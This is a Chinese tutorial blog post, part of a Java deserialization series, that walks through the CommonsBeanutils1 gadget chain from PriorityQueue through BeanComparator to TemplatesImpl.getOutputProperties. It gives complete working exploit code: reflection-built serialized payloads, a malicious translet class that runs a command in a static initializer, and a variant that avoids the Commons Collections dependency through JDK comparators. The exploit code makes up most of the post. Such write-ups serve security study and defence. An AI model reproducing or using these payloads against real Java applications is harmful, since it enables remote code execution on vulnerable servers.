当前位置: 首页 > news >正文

JAVA反序列化深入学习(十):CommonsBeanutils1

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包,里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作

其中比较常使用的有

  • MethodUtils
  • ConstructorUtils
  • PropertyUtils
  • BeanUtils
  • ConvertUtils

在CC利用链中,有这样一条链:

PriorityQueue
    TransformingComparator
        ChainedTransformer
            InstantiateTransformer
                TemplatesImpl

由 TransformingComparator 触发 ChainedTransformer ,从而实例化 TemplatesImpl

那能不能找到一个 Comparator,绕过中间复杂过程,直接实例化 TemplatesImpl 呢?

于是有了 CommonsBeanutils 这条链

JAVA环境

java version "1.8.0_74"

Java(TM) SE Runtime Environment (build 1.8.0_74-b02)

Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)

依赖版本

  • Apache Commons Collections 依赖版本:commons-collections : <= 3.2.2
  • Apache Commons Beanutils 依赖版本:commons-beanutils : <= 1.10.1

检查依赖配置

确认项目中是否正确引入了

  • Apache Commons Collections
  • Apache Commons Beanutils

的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.1</version>
</dependency>

资源下载

  • maven Apache Commons Collections
  • maven Apache Commons Beanutils
  • Java8下载
  • Commons Collections源码
  • Commons Beanutils源码

前置知识

PropertyUtils

org.apache.commons.beanutils.PropertyUtils 类使用 Java 反射 API 来调用 Java 对象上的通用属性 gettersetter 操作的实用方法

而这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean 来实现的

getProperty

PropertyUtilsBean 类有个共有静态方法 getProperty,接收两个参数

  • bean (类对象)
  • name(属性名)

方法会返回这个类的这个属性的值

public Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

    return (getNestedProperty(bean, name));

}

这就类似于一个 Field 的反射工具类,不过不是直接使用反射取值,而是使用反射调用其 getter 方法取值

那么既然可以触发 getter,那就可以像 fastjson 一样来触发 TemplatesImplgetOutputProperties 方法,触发后续的调用链

接下来就是找哪里调用了 getProperty方法,最后找到了 BeanComparator

BeanComparator - chain

org.apache.commons.beanutils.BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口

public BeanComparator( String property ) {
    this( property, ComparableComparator.getInstance() );
}

public BeanComparator( String property, Comparator comparator ) {
    setProperty( property );
    if (comparator != null) {
        this.comparator = comparator;
    } else {
        this.comparator = ComparableComparator.getInstance();
    }
}
compare
  1. BeanComparator 的 compare 方法接收两个对象
  2. 分别调用 PropertyUtils.getProperty 方法获取两个对象的 property 属性的值
  3. 然后调用实例化时初始化的 comparator 的 compare 方法进行比较
public int compare( Object o1, Object o2 ) {
    
    if ( property == null ) {
        // compare the actual objects
        return comparator.compare( o1, o2 );
    }
    
    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return comparator.compare( value1, value2 );
    }
    ...
}

有了这个方法,就构造了完整的调用链

攻击构造

包含CC链

恶意代码主体
public void CommonBeanUtilsWithCC() throws Exception {

    // 初始化 PriorityQueue
    PriorityQueue<Object> queue = new PriorityQueue<>(2);
    queue.add("1");
    queue.add("2");

    PriorityQueueWithTemplatesImpl(queue);

    // 初始化 BeanComparator
    BeanComparator beanComparator = new BeanComparator("outputProperties");

    // 反射将 BeanComparator 写入 PriorityQueue 中
    Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
    field.setAccessible(true);
    field.set(queue, beanComparator);

    writeObjectToFile(queue, fileName);
    readFileObject(fileName);
}
PriorityQueue处理
protected void PriorityQueueWithTemplatesImpl(PriorityQueue<Object> queue)  throws IOException, NoSuchFieldException, IllegalAccessException {
    // 读取恶意类存到 bytes[] 数组中
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\CommonBeanUtils.class"));

    // 初始化 TemplatesImpl 对象
    TemplatesImpl tmpl = new TemplatesImpl();
    Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(tmpl, new byte[][]{bytes});
    // _name 不能为空
    Field name = TemplatesImpl.class.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(tmpl, "neolock");

    // 反射将 TemplatesImpl 放在 PriorityQueue 里
    Field field = PriorityQueue.class.getDeclaredField("queue");
    field.setAccessible(true);
    Object[] objects = (Object[]) field.get(queue);
    objects[0] = tmpl;

    return ;
} 
恶意类构造
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;

public class CommonBeanUtils extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        // No implementation needed
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {
        // No implementation needed
    }
}

以上代码可成功构造反序列化利用,但是有一个问题是,由于 BeanComparator 的默认 comparator 是 ComparableComparator

ComparableComparator是个 CommonCollections 中的类,导致了这明明是一条 CB 的触发链,却要同时依赖 CC,增加了很多利用的限制

那该如何逃出 CC 的依赖呢?

无CC利用链

在实例化 BeanComparator 时赋予其一个 JDK 自带的并且实现了 Serializable 接口的 comparator 即可逃出 CC 的依赖,比如:

  • java.util.Collections$ReverseComparator
  • java.lang.String$CaseInsensitiveComparator

通过反射实例化 Comparator ,并在 BeanComparator 初始化时进行指定即可,这样就可以无需 CC 的依赖触发 CB 链了

恶意代码主体
public void CommonBeanUtilsWithoutCC() throws Exception {

    // 初始化 PriorityQueue
    PriorityQueue<Object> queue = new PriorityQueue<>(2);
    queue.add("1");
    queue.add("2");

    PriorityQueueWithTemplatesImpl(queue);

    // 初始化 String$CaseInsensitiveComparator
    Class       c           = Class.forName("java.lang.String$CaseInsensitiveComparator");
    // Class       c           = Class.forName("java.util.Collections$ReverseComparator");

    Constructor constructor = c.getDeclaredConstructor();
    constructor.setAccessible(true);
    Comparator comparator = (Comparator<?>) constructor.newInstance();

    // 初始化 BeanComparator
    BeanComparator beanComparator = new BeanComparator("outputProperties", comparator);

    // 反射将 BeanComparator 写入 PriorityQueue 中
    Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
    field.setAccessible(true);
    field.set(queue, beanComparator);

    writeObjectToFile(queue, fileName);
    readFileObject(fileName);
}

PriorityQueue处理以及恶意类构造跟之前一致

总结

利用说明

  1. PriorityQueue 反序列化时调用 BeanComparator 的 compare
  2. 这个方法反射调用 TemplatesImpl 的 getOutputProperties 方法触发恶意类的实例化

在CC链中,我们对于TemplatesImpl更多地是调用他的newTransformer方法

不知道读者是否还记得在CC2的文章 (点击回顾) 中初次提到TemplatesImpl时有说过:

不调用newTransformer方法而是调用getOutputProperties方法完全可行,不用拘泥于newTransformer

在CB链中,我们就用到了getOutputProperties方法

Gadget 总结

  • kick-off gadget:java.util.PriorityQueue#readObject
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
  • chain gadget:org.apache.commons.beanutils.BeanComparator#compare

调用链展示

PriorityQueue.readObject()
    BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                    TemplatesImpl.getOutputProperties()
  • Java反序列化漏洞(十)- cb链 无cc利用链
  • Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring | 素十八

相关文章:

  • 电器维修|基于Java+vue的电器维修系统(源码+数据库+文档)
  • 【踩坑】Mac mini m4 安装 jdk8 失败
  • Pytorch学习笔记(十八)Image and Video - DCGAN Tutorial
  • 机器学习ML极简指南
  • 【论文阅读】Co2l: Contrastive continual learning
  • 网络基本概念认识(2)
  • Java 多线程编程之 Object.wait 方法(工作原理、高级特性、notify 方法与 notifyAll 方法)
  • MySQL基础与核心操作
  • ArkUI之常见基本布局(下)
  • 【ISP】HDR算法
  • AWS Lambda 集成更新详解:打造无缝云函数体验
  • Vuex状态管理
  • socket系统调用的参数涵义
  • 卡尔曼滤波入门(二)
  • Python之文件操作详解
  • Python FastApi(7):请求体
  • 在win11 环境下 新安装 WSL ubuntu + 换国内镜像源 + ssh + 桌面环境 + Pyhton 环境 + vim 设置插件安装
  • 私有化部署dify + DeepSeek-R1-Distill-Qwen-32B + bge-m3
  • Razer macOS v0.4.10快速安装
  • 【21期获取股票数据API接口】如何用Python、Java等五种主流语言实例演示获取股票行情api接口之沪深A股阶段主力动向数据及接口API说明文档
  • 百度突然搜不到我的网站/漯河搜狗关键词优化排名软件
  • 建设网站项目计划书/营销的主要目的有哪些
  • 爱情表白网站制作/网站优化哪个公司好
  • 网站是否备案怎么查询/网络搜索关键词排名
  • 网站被挂马原因/怎么做品牌推广和宣传
  • 网站开发需要的所有技术/网站建设一条龙